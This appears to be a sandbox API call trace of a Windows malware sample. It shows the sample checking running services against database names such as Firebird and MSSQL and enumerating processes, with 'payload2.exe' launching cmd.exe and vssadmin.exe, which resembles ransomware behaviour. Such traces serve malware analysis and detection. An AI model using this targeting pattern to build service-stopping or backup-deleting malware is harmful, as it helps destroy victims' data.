	[0194.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0194.952] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0194.952] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0194.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0194.952] lstrlenW (lpString="SysMain") returned 7
	[0194.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0194.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0194.952] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0194.952] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0194.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0194.953] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0194.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0194.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0194.953] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0194.953] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0194.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0194.953] lstrlenW (lpString="Themes") returned 6
	[0194.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0194.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0194.953] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0194.953] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0194.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0194.953] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0194.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0194.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0194.953] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0194.953] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0195.056] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5d8
	[0195.065] Process32FirstW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0195.065] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0195.066] lstrlenW (lpString="System") returned 6
	[0195.066] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0195.067] lstrlenW (lpString="smss.exe") returned 8
	[0195.067] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0195.067] lstrlenW (lpString="csrss.exe") returned 9
	[0195.068] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0195.068] lstrlenW (lpString="wininit.exe") returned 11
	[0195.068] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0195.069] lstrlenW (lpString="csrss.exe") returned 9
	[0195.069] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0195.069] lstrlenW (lpString="winlogon.exe") returned 12
	[0195.069] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0195.070] lstrlenW (lpString="services.exe") returned 12
	[0195.070] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0195.070] lstrlenW (lpString="lsass.exe") returned 9
	[0195.071] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0195.071] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0195.071] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0195.072] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0195.072] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.072] lstrlenW (lpString="svchost.exe") returned 11
	[0195.072] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.073] lstrlenW (lpString="svchost.exe") returned 11
	[0195.073] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0195.073] lstrlenW (lpString="dwm.exe") returned 7
	[0195.073] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.074] lstrlenW (lpString="svchost.exe") returned 11
	[0195.074] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.075] lstrlenW (lpString="svchost.exe") returned 11
	[0195.075] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.075] lstrlenW (lpString="svchost.exe") returned 11
	[0195.076] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.076] lstrlenW (lpString="svchost.exe") returned 11
	[0195.076] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.077] lstrlenW (lpString="svchost.exe") returned 11
	[0195.077] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.077] lstrlenW (lpString="svchost.exe") returned 11
	[0195.078] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.078] lstrlenW (lpString="svchost.exe") returned 11
	[0195.078] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.079] lstrlenW (lpString="svchost.exe") returned 11
	[0195.079] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.079] lstrlenW (lpString="svchost.exe") returned 11
	[0195.079] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.080] lstrlenW (lpString="svchost.exe") returned 11
	[0195.080] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0195.080] lstrlenW (lpString="spoolsv.exe") returned 11
	[0195.081] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.081] lstrlenW (lpString="svchost.exe") returned 11
	[0195.081] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0195.082] lstrlenW (lpString="audiodg.exe") returned 11
	[0195.082] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0195.082] lstrlenW (lpString="sihost.exe") returned 10
	[0195.082] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.083] lstrlenW (lpString="svchost.exe") returned 11
	[0195.083] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0195.083] lstrlenW (lpString="taskhostw.exe") returned 13
	[0195.084] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0195.084] lstrlenW (lpString="msoia.exe") returned 9
	[0195.084] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0195.085] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0195.085] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0195.085] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0195.086] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0195.086] lstrlenW (lpString="Memory Compression") returned 18
	[0195.086] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0195.087] lstrlenW (lpString="explorer.exe") returned 12
	[0195.087] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0195.087] lstrlenW (lpString="SearchUI.exe") returned 12
	[0195.087] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0195.088] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0195.088] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0195.089] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0195.089] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0195.089] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0195.089] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0195.090] lstrlenW (lpString="payload2.exe") returned 12
	[0195.090] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0195.187] lstrlenW (lpString="cmd.exe") returned 7
	[0195.187] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0195.188] lstrlenW (lpString="conhost.exe") returned 11
	[0195.188] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0195.188] lstrlenW (lpString="consent.exe") returned 11
	[0195.188] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0195.189] lstrlenW (lpString="vssadmin.exe") returned 12
	[0195.189] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0195.189] lstrlenW (lpString="dllhost.exe") returned 11
	[0195.189] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0195.190] CloseHandle (hObject=0x5d8) returned 1
	[0195.191] Sleep (dwMilliseconds=0x1f4) 
	[0195.819] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x667fe8
	[0195.819] EnumServicesStatusExW (in: hSCManager=0x667fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0195.820] GetLastError () returned 0xea
	[0195.820] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bc4) returned 0x4470140
	[0195.820] EnumServicesStatusExW (in: hSCManager=0x667fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4470140, cbBufSize=0x1bc4, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4470140, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0195.821] CloseServiceHandle (hSCObject=0x667fe8) returned 1
	[0195.821] lstrlenW (lpString="Appinfo") returned 7
	[0195.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0195.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0195.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0195.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0195.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0195.822] lstrlenW (lpString="AppXSvc") returned 7
	[0195.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0195.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0195.822] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0195.822] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0195.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0195.822] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0195.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0195.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0195.822] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0195.822] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0195.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0195.822] lstrlenW (lpString="Audiosrv") returned 8
	[0195.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0195.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0195.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0195.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0195.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0195.822] lstrlenW (lpString="BFE") returned 3
	[0195.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0195.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0195.822] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0195.822] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0195.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0195.822] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0195.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0195.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0195.823] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0195.823] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0195.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0195.823] lstrlenW (lpString="CDPSvc") returned 6
	[0195.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0195.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0195.823] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0195.823] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0195.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0195.823] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0195.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0195.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0195.823] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0195.823] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0195.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0195.823] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0195.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0195.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0195.823] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0195.823] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0195.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0195.823] lstrlenW (lpString="CryptSvc") returned 8
	[0195.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0195.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0195.823] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0195.823] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0195.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0195.823] lstrlenW (lpString="DcomLaunch") returned 10
	[0195.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0195.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0195.823] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0195.823] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0195.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0195.824] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0195.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0195.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
